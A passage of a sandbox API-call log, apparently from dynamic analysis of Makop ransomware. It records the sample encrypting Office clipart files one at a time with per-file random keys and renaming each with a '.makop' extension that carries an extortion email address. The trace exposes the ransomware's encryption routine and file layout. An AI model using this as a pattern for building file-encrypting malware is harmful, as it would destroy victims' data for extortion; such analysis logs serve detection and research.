phKey=0x6577aac*=0x48c7128) returned 1 [0153.486] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.486] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x243c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x243c, lpOverlapped=0x0) returned 1 [0153.488] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2440, dwBufLen=0x2440 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2440) returned 1 [0153.488] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.488] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2440, lpOverlapped=0x0) returned 1 [0153.488] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.488] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.489] SetEndOfFile (hFile=0xf0) returned 1 [0153.495] GetProcessHeap () returned 0x48a0000 [0153.496] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.496] GetProcessHeap () returned 0x48a0000 [0153.496] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.496] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.506] CloseHandle (hObject=0xf0) returned 1 [0153.506] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00095_.WMF", cAlternateFileName="")) returned 1 [0153.506] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF") returned 63 [0153.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.511] GetProcessHeap () returned 0x48a0000 [0153.511] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.511] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.511] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.512] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0153.516] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.516] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.516] GetProcessHeap () returned 0x48a0000 [0153.516] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.516] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.516] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.516] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.517] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.517] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.517] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.517] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.518] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x175a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x175a, lpOverlapped=0x0) returned 1 [0153.519] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1760, dwBufLen=0x1760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1760) returned 1 [0153.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1760, lpOverlapped=0x0) returned 1 [0153.519] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.520] SetEndOfFile (hFile=0xf0) returned 1 [0153.526] GetProcessHeap () returned 0x48a0000 [0153.526] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.526] GetProcessHeap () returned 0x48a0000 [0153.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.527] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.529] CloseHandle (hObject=0xf0) returned 1 [0153.529] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c9af00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53c9af00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00211_.WMF", cAlternateFileName="")) returned 1 [0153.529] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF") returned 63 [0153.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.531] GetProcessHeap () returned 0x48a0000 [0153.531] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.531] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.532] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0153.537] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.537] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.537] GetProcessHeap () returned 0x48a0000 [0153.537] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.537] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.537] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.537] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.537] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.537] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.537] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.538] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.538] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.538] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.538] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c12, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c12, lpOverlapped=0x0) returned 1 [0153.540] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c20, dwBufLen=0x1c20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c20) returned 1 [0153.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.540] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c20, lpOverlapped=0x0) returned 1 [0153.540] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.541] SetEndOfFile (hFile=0xf0) returned 1 [0153.548] GetProcessHeap () returned 0x48a0000 [0153.548] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.548] GetProcessHeap () returned 0x48a0000 [0153.548] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.549] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.550] CloseHandle (hObject=0xf0) returned 1 [0153.550] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b4a700, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd1b4a700, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1224, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00217_.WMF", cAlternateFileName="")) returned 1 [0153.551] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF") returned 63 [0153.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.552] GetProcessHeap () returned 0x48a0000 [0153.552] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.552] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.552] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.552] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0153.556] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.556] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.557] GetProcessHeap () returned 0x48a0000 [0153.557] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.557] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.557] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.557] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.557] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.557] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.557] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.558] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.558] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.558] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.558] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.558] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1224, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1224, lpOverlapped=0x0) returned 1 [0153.560] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1230, dwBufLen=0x1230 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1230) returned 1 [0153.560] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.560] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1230, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1230, lpOverlapped=0x0) returned 1 [0153.560] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.560] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.560] SetEndOfFile (hFile=0xf0) returned 1 [0153.567] GetProcessHeap () returned 0x48a0000 [0153.567] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.567] GetProcessHeap () returned 0x48a0000 [0153.567] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.567] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.569] CloseHandle (hObject=0xf0) returned 1 [0153.569] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851c9c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851c9c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x1bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00218_.WMF", cAlternateFileName="")) returned 1 [0153.569] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF") returned 63 [0153.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.571] GetProcessHeap () returned 0x48a0000 [0153.571] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.571] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.571] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.571] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.571] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.571] GetProcessHeap () returned 0x48a0000 [0153.571] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.571] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.571] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.571] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.576] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.576] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.576] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.576] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 